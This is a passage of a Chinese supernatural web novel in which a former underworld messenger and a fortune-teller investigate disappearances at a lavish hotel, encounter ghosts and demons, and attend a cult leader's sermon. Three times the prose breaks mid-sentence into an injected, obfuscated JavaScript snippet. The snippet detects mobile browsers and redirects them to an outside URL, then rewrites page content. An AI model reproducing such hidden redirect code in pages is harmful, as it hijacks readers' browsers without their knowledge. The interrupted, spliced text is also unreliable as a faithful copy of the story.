军阀短短几个时辰内经历大起大落,顿感世事无常,人生如梦,竟即刻遣散军队,放弃归乡,看破红尘,打算出家了。 就在此时,一个得道高人翩然而至,军阀便随道人羽化成仙了。 酒楼老板目睹了整个过程,为了纪念这件事,他将“八仙饭店”改名为“九尊饭店”,从此这栋楼仿佛真的得到了神仙的庇佑,用来做医院时,里面的病人都能药到病除,用来做学校时,里面的学生都能金榜题名,用来做生意时,老板都能赚的盆满钵满...... 庄辰岚道:“只知道他们酒店公关不错,没想到营销更胜一筹。” “你这就冤枉人家了,”方不圆道,“这不是营销,是光台的地方传说,不是所有地方都有一两个本地人才知道的那种地方传说吗,用来增强家乡荣誉感。” “做军阀和做神仙哪个更好?” 方不圆被这没头没脑的问题弄得怔了一下,随即答道:“这还用问?那当然是做神仙了,长生不老,自由自在。” 忽地,一个声音出现在庄辰岚的脑海。 “安稳的重复和迷茫的自由,你选哪一个?” 那是林听的声音,她在大学时唯一的朋友。两人经常一起呆在湖边的亭子里,有时候画画,有时候读书,有时候什么也不做。 林听正在翻阅一本书,她道:“这里有一个测试,安稳的重复和迷茫的自由,你选哪一个?” 庄辰岚头也不抬:“我选安稳的自由。” “不愧是你,”林听笑道:“不过就连迷茫的自由对于我们来说也过于奢侈了。” “有时候我会想,我们不敢挂科,不敢延毕,不敢去做自己喜欢的事情,不敢这样,不敢那样,究竟是在害怕什么呢?按照主流的路线走下去,结果一定就比自己选的旁门左道更好吗?” 庄辰岚道:“在主流道路上失败,可以把原因归咎于社会父母和其他很多东西,在自找的旁门左道上失败,那就只能自己承担后果了,大家怕的,大概就是这个无法承担的后果吧。” “嗯......有道理。” “不过,”林听笑道,“安稳的自由,我相信如果是你的话,肯定能做到。” 庄辰岚眨眨眼:“为什么这么说?” “保密啦保密。” 林听说时机到自己会告诉她的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977873|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但直到今天,庄辰岚也不知道她说这话的依据是什么,而且今后也再没机会知道了。 车窗外的树木不断向后,庄辰岚也不知道为什么自己会突然想起这个片段。 方不圆在她面前打了个响指:“愣着干什么呢?还不下车。” 庄辰岚这才发现车已经开到酒店了。 她承认,即使对这个酒店的初印象并不好,她也还是被眼前的建筑惊呆了: 长生殿金碧辉煌,前面是广阔的花园和巨大的雕塑喷泉,后面是宛如大海的泳池和人造沙滩。酒店主楼高不见顶,直插云霄,巍峨不失华美,庄重不失情调,几座副楼亦是似通若耶,若接天台。 庄辰岚高度评价其兼具南天门的神圣和鬼市的堂皇。 二人进入酒店,里面竟然还有室内瀑布与湖上回廊,叫人分不清这到底是酒店大厅还是户外园林。 百段阶梯的尽头是一尊白玉罗浮像,甚至比庄家祠堂的彩绘塑像还要高大。从楼顶垂下的木雕吊灯一层一层莲花般绽开,精致过头,竟带了一丝鬼气。 方不圆的头转得像猫头鹰,一边走一边啧啧称奇:“我算知道为啥叫长生殿了,谁住这儿不觉得自己是神仙啊。” 一个男人前来接待她们,他自称唐金麟的秘书,穿着板正的高定西装,带着银丝单边眼镜,头发一丝不苟地梳到后面,不像秘书,倒像动漫里的城堡执事。 男人面露疑惑:“二位都是道长吗,我记得老板只请了一位啊?” 方不圆指指庄辰岚:“这是我助手,庄辰岚。” “原来如此,”他跟庄辰岚握了握手:“初次见面,庄小姐,我姓元。” 元秘书推了推眼镜:“酒店发生那样的事我们也很难过,这边还请二位工作时不要太声张,我们也好…” 方不圆了然道:“理解理解,我们会保密的。” 元秘书叹了口气:“酒店这种地方,最容易被编排造谣,就算我们是正常祈福,也害怕流言蜚语啊。” 方不圆道:“说的没错啊,一群人天天闲的没事瞎编故事,你们酒店磁场干净的很,简直是风水宝地,我觉得啊,那些失踪的人保不准都是自导自演骗钱的,你们也别太当回事,就当破财消灾了。” “您这么说我就安心多了,”元秘书笑眯眯道,“那明天就辛苦道长了。” “哪里哪里,不辛苦。” 庄辰岚在心里翻了个白眼。 元秘书面带歉意道:“方道长,我这边有点事要忙,让这边的引导小姐送您上去吧,您有什么需要吗?” “奥奥奥你去忙吧,我没什么需要。” 元秘书朝远处招了招手:“小李。” 一位年轻的女孩跑了过来,元秘书道:“这二位小姐住在42层的套房,你带着去一下。” 李小姐朝两人微微鞠躬,露出标准的八颗牙齿:“好的,二位小姐请跟我来。” 路上,李小姐像导游一样给二人介绍长生殿的建筑历史以及收藏的艺术品。 庄辰岚忍不住道:“这酒店的失踪案你们员工内部怎么说。” 7.长生殿2 李小姐突然被打断施法,一脸茫然道:“失踪案?没听说过啊。” 庄辰岚坏笑道:“没事,你说就行,我们是内部人员。” 方不圆拧了下庄辰岚的胳膊:“上来就捣乱是吧。” 李小姐面带歉意的微笑道:“我实在不清楚,无法帮助二位,很抱歉。” 方不圆道:“没事没事,她玩游戏玩多了,你不用理她。” 庄辰岚心道,这酒店的保密工作也太强了,自己的员工都能蒙在鼓里。 三人乘坐vip电梯来到房间所在的42层。 电梯一开,方不圆就被吓了一跳:“你们酒店怎么摆这么多假人啊!吓我一跳!” 只见长长的走廊两边每隔一段距离就面对面站着两个雕塑,每个雕塑大约一米二左右,有男有女,有老有少。 李小姐道:“方小姐,这可不是普通的假人,这是请国内的黏土陶艺大师仿照出土的隋唐时期的陶俑与名画上的人物进行一比一复原的,每一个都耗费数月之久,价值上万。” 她走到最近的一个陶俑前,介绍道:“你看,这个就是仿照陕西历史博物馆的那尊彩绘陶侍女俑塑造的。” 这尊女陶俑红衣绿裙,黑发如云,粉面含笑,目光盯着前方。 不知怎么,庄辰岚总感觉它十分奇怪,好像在盯着众人观察一样。 方不圆打了个寒颤:“放一个意思意思就行了,放这么多都成兵马俑了,我睡这儿还以为自己是秦始皇呢。” 李小姐忍不住笑了:“方小姐说话真好玩儿。” 她疑惑的看向走廊尽头:“不过我记得这层的陶俑好像是没有这么多来着。” 方圆大大咧咧道:“难道还是他们自己跑上来的不成?” 话音刚落,几人面前突然漆黑一片。 方不圆又吓了一跳:“怎么回事?停电了?” “不好意思客人,我去了解一下。”李小姐拿起手机,“奇怪,怎么没信号了。” 方不圆道:“我的也没了,小岚,你的呢?” “我也是。” 就在这时,走廊上的陶俑突然毫无征兆全都转了个方向面向她们。 “啊——” 方不圆和李小姐同时尖叫起来。 庄辰岚把她们护在身后:“别怕,都冷静。” 然而她的安慰并没有起作用,方不圆和李小姐使劲拽着庄辰岚的衣服,把她当成防护墙。 庄辰岚的卫衣帽子不知道被谁使劲往后拽,她艰难道:“抓别的地方,别抓我帽子,要勒死了。” 就在三人如奇行种一般在黑暗中乱作一团时,走廊里的陶俑在原地震动起来,慢慢的向三人这边挪动。 陶俑双目发出诡异的红光,逐渐流下两行血色的液体,笑起来的嘴角都快要弯到耳边。 霎时间,整个走廊只回荡着陶俑咕咚咕咚移动的声音以及方不圆和李小姐惨绝人寰的尖叫声。 庄辰岚迅速从背后的书包里抽出斧头,横在面前: “再进一步,格杀勿论。” 听闻,这些陶俑迅速平静下来,庄辰岚能清晰的感觉出,它们的气场与刚才截然不同。 可她还没松口气,又看到不远处的雕花柱子后有几个白色人影,眼睛处仍旧闪着红色的光。 庄辰岚向身后问道:“你们看到了吗?前面的人影。” 方不圆睁开眼睛,朝庄辰岚说的方向看去,随后大喊道:“你别吓人啊!前面有什么?什么都没有!” “你仔细看看。” “我看个屁啊!这时候就别使坏吓人了!” 庄辰岚确认了,看来只有自己能看到,与此同时,她发现原来自己被地府开除后天眼也不会失效。 天眼,民间俗称阴阳眼,成为生无常后,庄辰岚便自动开了天眼,能够看到普通人看不到的东西,还能识别一些非人生物的伪装和障眼法。 庄辰岚最初看到自己的概率论学老师是老鼠精时还吓了一大跳,但后来看得多了就习惯了,即使半夜走路看到吐着鲜红长舌头的男人或断了脖子还一脸狞笑的女人也能目不斜视地擦肩而过。 根据经验,庄辰岚判断这些白色人影就是人类的亡魂——难道是酒店失踪的客人? 庄辰岚伸出食指指向那些白影:“有冤说冤,有仇说仇,无冤无仇,速速退散。” “卧槽,”方不圆大喊:“你在跟谁说话啊!别吓我!” 李小姐吓得魂儿都飞了,她紧闭眼睛止不住地尖叫:“来人啊!我要出去!” 庄辰岚向身后道:“先别喊,没用的,方姐,你先让她收声。” 方不圆把自己和李小姐的嘴巴都捂上,庄辰岚则朝那几个白影走去。 方不圆抓她衣服,一脸绝望道:“别走,你去哪啊,我不能没有你啊。” 庄辰岚道:“现在这边是安全的,我不走远,就去前面看看。” 庄辰岚攥紧斧头,踩着走廊里的高级地毯,一步一步慢慢地向前走着。 靠近后,她发现这些白影的周围竟有些许灵力流转,这种灵力,庄辰岚只在上次到南天门等地时感受过。 她想起唐金麟的猜测,不禁哑然失笑:这不会真是神仙派下来的吧。 斧头就在手里,庄辰岚有了底气,管他是什么东西,一旦产生威胁,那就直接全都干掉。 随着她一步步靠近,白色的人影也逐渐清晰起来,化为实体。 谁知下一刻,它们就突然不停抽搐,四肢也以人类无法做到的方式扭曲起来,扭曲到极限后,它们就像积木一样七零八落掉了一地,只剩头颅上黑越越的嘴巴夸张的一张一合,发出无法辨别音节的呜呜声。 无法交流。 庄辰岚感到奇怪,不应该啊,它们明显是可交流的灵体,怎么会这样? 就在她思考的时候,满地的肉块突然间像被风吹散一样消失,走廊的灯光重新亮起,所有的气息也瞬间泯灭,仿佛刚才的一切都只是一场梦。 方不圆满头是汗,她卸力般瘫坐在地上,平复了一下呼吸,信号刚刚恢复正常,她的手机就传来好几个消息提示音。 她从兜里掏出手机,边看边道:“有一个好消息和一个坏消息,你想先听哪一个?” 庄辰岚道:“随便。” “坏消息是我师父也来酒店了,我请外援的事要暴露了。” “就这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981163|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?好消息呢?” “好消息是我师父也来酒店了,我们百分之一百亿安全了。” 方不圆抹了把冷汗:“我师父特地买的对面的房间,现在已经到了,等会儿我给你介绍下。” 李小姐也是整张脸都被汗水浸湿了,她捏住庄辰岚衣服的一角:“那个,我不敢一个人走了...” 庄辰岚对方不圆道:“你先去房间,我送她下楼。” 在电梯里,庄辰岚问道:“这是怎么回事?” “我不知道啊!”李小姐惊魂未定,“我要辞职!我要辞职!要不然下一个死的就是我了!” 庄辰岚捕捉到关键字:“这里死过人?” “都失踪这么久了,肯定是死了啊!” “你知道失踪案的事,刚才问你怎么不说?” 李小姐抽泣道:“我签了保密协议的。” 庄辰岚道:“我就是来解决这件事的,反正你都要辞职了,走之前先告诉我究竟发生了什么?” “不行,就算是辞职,被发现还是要赔钱的。” “我刚才可是救了你一命。”庄辰岚道,“而且这里只有我们两个人,我绝对会保密的。” 李小姐想了想,道:“其实我知道的也不多,都是我男朋友告诉我的,他是这个酒店监控室的。” “警察让他调出那位客人失踪前的所有监控,然后他们就发现,那位客人进了房间后,就再也没有出来过。” 庄辰岚道:“从窗户爬出去了?” “警察也怀疑是这样,但他们查完后发现窗户外没有任何攀爬的痕迹。” “而且,”李小姐道,“那可是42楼啊!怎么可能从窗户爬出去!” “42楼?”庄辰岚有种不好的预感,“不会是我们那个房间吧。” “不不不,不是你们那个,那个房间已经被封锁了。” 庄辰岚松了口气,看来这个酒店还是有点良心的。 李小姐道:“最最最诡异的一点是,在客人进入房间的那个时间,房间内部的监控却根本没拍到他进了房间!” “你们在房间内安监控?!” 刚刚才感叹了一下酒店还是有良心的。 李小姐连忙道:“只是在房间门口有一个,正对着大门,用来确定客人进出门携带的东西的。” “那也不行啊,”庄辰岚道,“你们酒店普通房间都8000一晚,就这样还没有隐私安全?” “可,我们不是在讨论客人失踪案吗.....” 庄辰岚迅速调转话题:“也就是说外边的监控显示他进入了房间,而房间正对大门的监控显示他根本没有进来过吗?” “不仅是这样,”李小姐道,“房间内部的监控显示大门开了,可是根本没有人进来。” 想像一下那个场面,两人背后都一阵发凉。 李小姐道:“我就知道这些,别问我了!你记得一定要保密啊!” 电梯一到,李小姐便头也不回地跑了出去。 庄辰岚便也返回42楼,进入房间,待看清沙发上翘着二郎腿的人时,她大脑宕机了: “庄海月?!——你怎么在这儿?!” 8.长生殿3 庄辰岚看着沙发上的庄海月,内心惊涛骇浪:“你是她师父?!” 庄海月嘴里含的棒棒糖都掉了,砸在她游戏机的屏幕上。 方不圆道:“原来你俩认识啊,哎呀你瞧我这脑子,早该想到的。” 庄辰岚心里顿时涌出无数问题,就像开了闸的水库,反而一时抓不住重点。 方不圆问庄辰岚道:“刚才怎么回事?我师父说她在房间里什么也没听见。” “正常,不就是鬼打墙。” “这么恐怖的事到底正常什么啊!” 庄海月突然把外套蒙在头上:“你们别说了,一想到刚才有鬼在门外,我就腿软啊。” “?”庄辰岚:“你不是她师父吗?” 意思不言而喻。 方不圆抢着道:“我师父就是很厉害!她只是胆小而已!” 庄海月迅速把外套放下:“胡说,我一点都不胆小好吗!” “对不起师父!” 庄辰岚道:“你怎么突然来了?” “我还想问你呢,小方的外援为什么会是你啊?” 方不圆连忙滑跪:“对不起师父,我错了,再也不敢了。” “行了原谅你了。”庄海月凑过来,“岚岚,难不成你也会卜卦吗,露一手露一手,我们切磋一下?” 庄辰岚问:“你都会什么?” “奇门,六爻,梅花什么的,啥都会点儿。” 方不圆开始拍马屁:“师父你太谦虚了,什么叫会点儿,那简直是精通啊。” 庄辰岚露出质疑的目光。 庄海月故作高深道:“你今天穿的紫色秋裤。” 庄辰岚自己都不知道自己穿的哪个颜色的秋裤,她脱下靴子,把裤脚挽起一看,果然是紫色。 方不圆连忙拍马屁:“师父您又功力大增啊,连起卦都不用,言出法随啊。” “好徒弟,太会捧场了,来,为师奖励你——一杯水喝。” “啊哈哈,谢谢师父,”方不圆无语地干笑两声,但还是喝了,“这水怎么这么甜啊。” “这是因为你太渴了。” 庄辰岚问:“跟你爷爷学的吗?” 庄海月摇摇手指:“说句实话,我爷没那天赋,但我可是天才,我自学的,瞒着我妈。” 庄辰岚听说庄海月的爷爷因为执意出家当道士导致她妈对这些东西厌恶至极,也许是这个原因她才会选择隐瞒的吧。 庄海月道:“那你呢,你会什么?” 庄辰岚把背包放在沙发上:“我一窍不通。” 方不圆赶紧解释道:“但是小岚有那把斧头,一拿出来,比什么符咒都管用。” “斧头?”庄海月两眼放光,“难道是很厉害的法器吗?” “以前我妈杀猪用的。” “......” 方不圆揉了揉太阳穴:“那个,你们先聊,我去休息会儿,突然有点头晕。“ 庄海月道:“肯定是刚才被吓得还没缓过来,而且你开车这么长时间,不累才怪呢,隔壁也是我定的房间,你快去休息吧,我跟岚岚住这间房。” 方不圆走后,庄辰岚道:“这个酒店的客人失踪案,你知道多少?” 庄海月道:“我为什么要知道?他们不都解决了吗?” “你还真信唐金麟那套说辞?” 庄海月重新拆了根棒棒糖塞进嘴里:“我不是寻根究底派啦,不关我事我就不想知道太多,不过听说那些人现在都没找着,不会真到狭间了吧。” 庄辰岚疑惑道:“狭间?那是什么?” “就是旧土里一个很经典的帖子提到的那个,两个世界什么的,怎么说的来着......” “旧土又是什么?” 庄海月惊讶道:“旧土论坛啊,你不上网吗?” 庄辰岚道:“它不是被炸了吗?” 数月之前,旧土论坛因为主打的灵异怪谈板块血腥恐怖元素太多导致整个应用被下架。 庄海月道:“确实炸过一次,现在这是重生版,新版添了很多其他板块,也不再以灵异为卖点了,但里面的帖子还是很顶,这论坛在玄学圈超火的,有很多大佬的经验分享,听说连天问都在用。” “天问又是什么?” 庄辰岚和庄海月异口同声。 “哈哈!”庄海月道:“我就知道你下句要说这个,这就叫神机妙算。” “所以到底是什么?” 庄海月道:“天问啊,据说是隶属军方的一个秘密组织,专门处理大型超自然事件,全称是天问超自然现象管理中心,听说里面的员工都是业内顶尖的能人异士,甚至还有活了几百岁的仙人。” “官方超自然组织?真的假的?” “众说纷纭,”庄海月道,“有人说存在,有人说不存在,估计只有上面的人才知道实情了——我们说回狭间,我忘了具体是怎么说的了,直接给你找找帖子吧。” 庄海月掏出手机,划了几下屏幕,然后递给庄辰岚:“喏,就是这个。” 庄辰岚接过手机,入眼是黑红白配色的界面,不同于之前的繁杂和众多广告,新版旧土论坛的页面格外简洁。 庄海月打开的那个帖子名为【我发现了一个现象,我将它命名为“狭间”】,发帖人名叫“古月虫”,个性签名是“热爱你无聊的日常吧,你完全不知道它有多么珍贵。” 庄辰岚点了一下“只看楼主”。 1L(楼主)古月虫: 就结论来说,异世界确实存在,而且有无限多个。 因为一些不明原因,不同的世界会发生部分重合,重合的空间相互纠缠,就会导致某片区域同时存在两种状态,有时候是本世界,有时候是异世界,宛如薛定谔的猫,同时存在“死亡”与“生存”两种状态,而这片同时存在两种世界的区域,宛如两个世界的夹缝,所以我给它们取名为“狭间”。 如果你的房间不幸成为狭间,那就祈祷你自己永远好运吧,因为你不知道打开门的一瞬间,你回到的是自己温暖的小窝,还是全然陌生的世界。 8L(楼主)古月虫: 要问我为什么知道这些,是因为我曾经真的进入过一个狭间,那太可怕了,痛苦到就算我的大脑开启防御机制让我模糊了那段记忆,也仍然留下了巨大的心理阴影,从此再也无法面对日常的生活......我并不想旧事重提,抱歉。 15L(楼主)古月虫: 地府或者天堂在这个概念下也是一个异世界,不是经常有人在十字路口迷路然后误入阴司吗,那是因为很多十字路口其实就是一个狭间,只是这些狭间管理比较严格,只有魂魄或者鬼差才会看到并进入。 看到这里,庄辰岚心里一惊,因为她在当生无常时,也是带着亡魂去十字路口——顺着白日里熟悉的街道一直走,穿过一片浓雾,便能看到盛开着红色彼岸花的鬼门关。 而且如果按照这个思路,那个离奇的监控视频也就能解释了。 庄辰岚道:“难道酒店失踪的客人是误入狭间了?” “怎么可能?这都是假的。” “假的?” 庄海月嘿嘿一笑:“当然是假的,一种文学表现形式而已,说到底还是虚构的都市怪谈故事,就像恐怖的伪纪录片,越是真实越让人害怕嘛。” 庄辰岚道:“来酒店的时候,你有没有遇到异常情况。” “没有,”庄海月诚实道,“我没开过天眼,就算有也看不到,但是如果有的话,我能算出来。” “真的?”庄辰岚道,“刚才我遇到的那些鬼魂状态很奇怪,你帮我算算它们究竟是什么?我怀疑他们就是那些失踪的客人。” “什么?!”庄海月又把外套蒙到头上,“岚岚,你得保护我!我最怕鬼了!” 庄辰岚突然觉得这人很不靠谱。 “我看出来了,你是不是觉得我不靠谱,告诉你,只要我想,我就能算出酒店客人失踪案的前因后果,甚至是凶手和作案手法,你信不信?” “不信,你以为你是black neko啊。” “呵呵呵,”庄海月在外套下邪魅一笑:“虽然我没他厉害,但这种程度还是能做到的,好久没见到质疑我能力的人了,还真有点怀念,不给你露一手你还真当我是吉祥物了。” 庄辰岚道:“那你快算吧,我很好奇啊。” “但是现在有一个最关键的问题!” “什么?” “我肚子饿了。” 庄辰岚懒得吐槽。 庄海月道:“解卦就像做题,很费体力和脑力的,而且这可是长生殿唉,平时哪住得起,小方没口福,咱俩先去享受享受,走喽走喽。” 她好像完全忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990390|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记自己说过什么,拉着庄辰岚就冲出房间,乘上透明电梯欣赏酒店风景。 电梯下降到33楼时,门开了,进来了两个男人。 他俩甫一进门,庄辰岚就闻到一股血腥味,仔细分辨,似乎还有阴间无常身上特有的纸灰味。 周围的空气阴冷无比,小小的电梯如坠冰窖,庄辰岚判断这两人绝非等闲之辈,甚至能让自己都感到一股威压。 但即使诡异到如此程度,他们在普通人的眼里也不过是正常人,倒不如说,正因他们在庄辰岚眼中如此诡异,所以其伪装能力非常,能轻易融入普通人的生活。 庄辰岚熟练摆出放松的表情,现在最好的办法就是假装没有注意,就像看见普通人一样。 “两位帅哥,怎么称呼?” “庄海月——”庄辰岚在心里咆哮。 两个男人纷纷转过头来,庄海月道:“刚才看你们找不到电梯按钮,第一次来?我认识这儿的老板,咱们加个微信,到时候我让他给你们打折。” 说着,她就点开微信,一副要扫码加好友的架势。 庄辰岚阻止她进一步作死:“庄海月,你一路都骚扰五个男人了,能不能消停点儿。” “?你血口喷人!” 两个男人又看向庄辰岚,她跟二人对上面,更加确定了刚才的想法。 靠近她的男人披着齐腰的白发,长长的刘海即使遮住幽黑的眼睛,也遮不住眼神中的森森鬼气,苍白到不详的脸上是苍白的碎发和苍白的嘴唇,唯一的重色就是眼下的两片乌青。 另一个男人虽然同样很白,却极有气色,颧骨处分布着浅绿色的鳞片——蛇的鳞片,这是条青蛇妖,他一直眯着眼,带着笑,庄辰岚却看见他吐出猩红的信子,两颗锐利的尖牙若隐若现。 大女子能屈能伸,庄辰岚捂住庄海月的嘴连忙道歉:“不好意思,她脑袋有点问题。” 庄海月发出呜呜的抗议。 谁知那蛇妖竟然走过来,弯下腰,在庄海月耳边道:“如果想和我多聊聊,要不要在京都的月華宫见面?” “嗯?” “其实,我在夜晚的世界工作哦,”他往庄海月的外套口袋里推进一个名片,暧昧地笑道:“我真实的样子,也只能在店里展现呢,不过那里还有其他客人,如果想跟我独处的话,需要指名才行哦。” 居然是个牛郎! 白发男人嫌弃道:“姜福子,你真就一点不嫌丢人是吧。” 被叫作姜福子的蛇妖笑道:“为什么要觉得丢人,这是给人提供幸福的工作哦——对了小予知,你要不要也加入,之前社长见到你后就一直念叨,说她很看好你呢!” “让你那个社长去死。” “哎呀不要害羞嘛小予知,其实你也想去对不对?” “我想去你奶奶个腿啊,别以为我不知道你忽悠一个人进去就能拿提成。” “到时候你三我七不好吗?” “到时候你们整个店的人都该给我跪下!” 庄辰岚和庄海月脸上爬满黑线,这俩人怎么自顾自吵起来了。 但是现在看来,他们似乎对人类没有恶意。 就在此时,电梯门开了,万幸,庄辰岚赶紧提着庄海月开溜。 等远离二人,她松开庄海月的后领:“你是真嫌自己命大。” 庄海月整整衣服:“怎么了,搭个讪还有生命危险了?不过真是马失前蹄了,居然没看出来那是个鸭子。” 她从口袋里掏出那张卡片:“月華宫,青麟公子,在下这扇斩过十八路春风,却斩不断你今夜留下的酒香——啊哈哈哈哈哈哈哈哈哈哈哈” 庄海月笑得捶墙:“这什么古风小生牛郎店啊,好吧,我记住了,下次去京都一定过去看看,看看他们跟新宿的Rui还有Yukito有什么不同。” 庄辰岚道:“那个叫姜福子的牛郎,是个蛇妖,另一个白头发男的,人不人鬼不鬼的。” 庄海月笑到一半声音突然变调:“哈哈哈哈哈啊啊啊?!” 她把自己往庄辰岚怀里塞:“你别吓我,我只会算命,不会驱鬼的!” 俗话说,当蟑螂出现在阳光之下,那么暗处已经泛滥成灾,刚出门就能遇上两个,那么在酒店看不到的地方,肯定已经挤满了牛鬼蛇神。 庄辰岚有一种不好的预感,这个酒店,到底隐瞒了多少东西? 9.长生殿4 她把庄海月从自己身上揪下来:“这里没什么东西。” “哦哦那就好,”庄海月松了口气:“来的时候我看到一家店,排队都排到街上了,肯定很好吃,我们去那看看。” 她拍拍庄辰岚的肩膀:“吃饱喝足好干活,放心,我吃完饭回去就卜卦,到时候这里是个什么情况我一看便知。” 二人走过一条街,来到庄海月所说的店铺,天色已晚,门前却仍旧是络绎不绝。 庄海月逮住一个满载而归的顾客:“你们在排队买什么呀?” 顾客回道:“鳄鱼肉。” 庄海月震惊了:“鳄鱼肉?真的假的?能吃吗?” “这有什么不能吃的,娃娃鱼都能吃,这种鳄鱼是专门养殖的,可好吃了,跟别的肉都不一样,又嫩又香,怎么做都好吃。”说着,他就把塑料袋敞开给庄海月看,里面是普通的腌肉,深红色的,像剥开的柚子肉,有的部位还一粒一粒的。 庄辰岚道:“你早说是这个,昨天有人给了我一块,回去送你。” “早知道是这个我就不来了。”庄海月小声补了一句:“我可没有异食癖。” 庄辰岚问那个顾客:“这个最近很流行吗?” “对啊,产地就在光台,卖得可好了,好多人特地来光台买。” 就在这时,队伍最前方传来一阵骚动。 一个有着蓬乱及肩卷发的男人正在用粤语大喊大叫。 他穿着棕色西装外套,白色西装裤,衬衫大敞,配着金链,大晚上还带着橙色墨镜: “他有货,我有钱,又没说限购,你凭什么不让我买!” 前排的女人听不懂他说话,却也不甘示弱,用光台方言骂道:“你活不到明天了买这么多吃,撑不死你!” 墨镜男人穿的人模狗样,行为却十分粗俗,他甚至当场啃了一大口生肉,边嚼边道:“你这八婆叽叽喳喳说什么,根本听不懂!小心我捏死你!” 一个梳着马尾辫,看着像大学生的女孩在中间打圆场,她把男人拉到一边:“你少说两句,买到了就快走吧。” 又安抚前排的顾客:“对不起对不起,他脑子有问题,你们别跟他一般见识。” 肉卖完了,架吵完了,排成一排的顾客也骂骂咧咧的离开了。 庄海月也道:“走吧走吧,白高兴一场,还以为是什么山珍海味呢。” 二人回到酒店,没了引导小姐竟然迷了路,不知不觉便走到罗浮真君像前。 酒店在大堂造了一个没有外墙与大门的庙宇,这尊白玉塑像就端坐其中央。 身为南华村的孩子,二人从小耳濡目染,都对罗浮真君有着格外的敬意。 庄海月道:“还没在村子以外见过这么大的塑像呢,在罗浮的庇佑下,居然也会发生这么恶劣的失踪案吗?” “两位小姐对罗浮教有兴趣吗?” 声音从背后传来,二人回头,一个身着盘扣西装的男人正笑眯眯的站在她们身后。 庄海月道:“还算有点吧。” “那太好了,”男人给两人一人一张名片,“我是光台市罗浮教会的会长,现在正在酒店举行集会,既然二位小姐有兴趣,要不要去看看?放心,我们的教会和集会都是政府允许的。” 罗浮教会的会长?没想到眼前的男人就是唐金麟! 庄辰岚本以为他会是那种常见的啤酒肚秃顶大叔,没想到他竟然意外的年轻,身材也锻炼得当,茂密的黑发在脑后扎了一个小辫。 庄海月暗示地捏了捏庄辰岚的手:“我们想去集会看看。” 唐金麟露出和善的微笑:“请跟我来。” 二人走在唐金麟身后,庄辰岚小声问庄海月道:“不是他请你做法的吗,怎么不认识你?” “本人不露脸的好吗,而且用的是代号。” 唐金麟还在前面喋喋不休地讲述罗浮教的历史,庄辰岚一路暗中观察,发现不少人跟他们朝一个方向走,有的还向唐金麟致意,不叫他“会长”,而是称他为“教主”。 唐金麟在两扇大门前停下,里面是一个巨大的阶梯讲堂,像庄辰岚学校里的千人报告厅。 唐金麟道:“请二位小姐自己寻找座位吧。” 话都这么说了,两人便只好踩着靠近门的楼梯往上走。 除了人类,庄辰岚还在这里看到了化成女人的黄鼠狼,挤进人偶壳子的童灵,还有阴气沉沉的吊死鬼...... 她不禁感叹这报告厅真不得了,小小的空间居然囊括六道,包揽五行。 好巧不巧,没有天眼的庄海月还拉着她坐到一个花妖旁边。 甫一落座,唐金麟的演讲就开始了。 “各位朋友,非常高兴我们能相聚于此,今晚我们的相会看似偶然,实则是真君神圣指引下的命中注定。这样不分年龄,不分性别,不分种族的盛大集会,正是罗浮教教法万物归一的深刻体现。” 庄海月道:“罗浮教有这个教法吗?我怎么没听过?” 庄辰岚也感到奇怪,她摇摇头:“我也没听过。” 唐金麟道:“曾经,我是一个没有信仰的无神论者,但让我的世界观发生改变,让我如此虔诚的信奉真君的原因,是我曾荣幸的亲受过真君的接待,她将我选为自庄周后第二个她在人间的使者,我如今所有的一切,我的财富,我的亲人,包括我的生命,都是真君所赐予的!我也甘愿付出一切回馈给她!” “卧槽,一本正经扯淡啊,真有人信吗?”庄海月不由看向周围,只见旁边的人都露出崇拜的目光。 “还真有人信啊!”庄海月被他们的反应逗乐了:“快快快快记下来,到时候教给咱们村里人也这么说,哎要不我们直接选他当村长吧哈哈哈。” 庄辰岚默默把笑倒在自己身上的庄海月推过去。 “你不要总板着脸嘛,”她伸出食指戳了戳庄辰岚的脸颊,“从回来就没见你笑过。” “你给我闭嘴!”旁边的花妖立起眼睛,朝她们吼道,“教主大人正在讲话,能不能安静!” 庄海月不服的朝它吐舌头,被庄辰岚按了回去。 “我们的生命不来自女娲,我们的世界不来自盘古,它们其实都来自罗浮真君,她才是一切的创造者,她原本给予了我们幸福的一切,谁知却被其他邪神抢占了果实,邪神给我们带来疾病、分离、死亡,还让我们活在这个充满痛苦的幻象里!” 唐金麟越说越激动,声音甚至染上哭腔:“但是!只要我们信奉真君,不仅能免除疾病,远离灾厄,等到大成之时,还能从如今邪神所造的幻象中醒来,以永生的姿态,回归我们伟大的母神所创造的充满幸福的真正世界中......” 庄辰岚和庄海月对视了一眼,这跟她们知道的罗浮真君的传说不一样。 